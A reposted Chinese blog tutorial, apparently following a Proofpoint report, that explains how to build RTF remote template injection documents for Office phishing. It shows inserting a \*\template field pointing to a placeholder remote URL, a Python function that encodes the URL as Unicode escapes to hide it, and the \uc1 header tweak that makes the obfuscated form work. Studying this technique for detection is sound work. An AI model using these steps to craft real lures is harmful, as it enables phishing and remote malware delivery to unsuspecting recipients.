遠程模板插入
??ProofPoin最近寫了一篇文章,報告中提到近年來RTF模板注入進行office釣魚攻擊的數量增加,之前還沒怎么了解過RTF模板注入的,現在和小編一起去看看吧(笑hhh),
??相對DOC模板注入的創建而言比較簡單,創建一個rtf檔案,使用office word進行編輯,隨便寫個內容,

??保存之后會發現檔案從原來的幾個位元組大小變為幾十KB,這是因為里面添加了大量RTF檔案格式屬性欄位值,

??那如何進行模板注入呢,RTF檔案支持一個相關的控制欄位:*\template,該欄位值需要跟著使用的模板名,整個屬性欄位需要使用大括號括起來,

??然后直接使用文本編輯器打開之前保存的rtf檔案,進行遠程模板注入的話,插入的內容形如:{\*\template hxxp://xx.xx.xx.xx:port/xxx.xxx},至于插入位置,經過測驗,放在大括號后面,前面,或是之間,都可以獲取遠程模板,例如:

??插入欄位并保存修改,再次使用Word打開,成功實作了模板注入,


Unicode形式URL模板插入
??更進一步,*\template欄位引數值可以為Unicode,可以更好隱藏自身,關于如何將Ascii轉為Unicode表示形式,參考[3]文章如下,

??Python代碼表示如下:
def trans(url):
return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])
??那如何自制一個RTF Unicode模板注入呢?在原本基礎上直接修改\*\template的屬性值沒用,而按proofpoint文章中所說,涉及到\*\wgrffmtfilter欄位,然而查看相應檔案,并且經過一番測驗,和該欄位實際并無關系,通過比對一些網路上的相關技術利用樣本后發現,該方式應是和RTF檔案首部的\uc欄位有關,
??\ucN:指定當前大括號中\uN表示的UNICODE字符對應的位元組數,

??現在只需要修改\uc為\uc1(在中文環境下默認保存為2),然后使用和第一節中相同方式將\*\template欄位插入檔案,可成功實作,

參考:
[1] https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
[2] http://www.biblioscape.com/rtf15_spec.htm
[3] https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/375742.html
標籤:其他
上一篇:在角度模板中顯示陣列元素
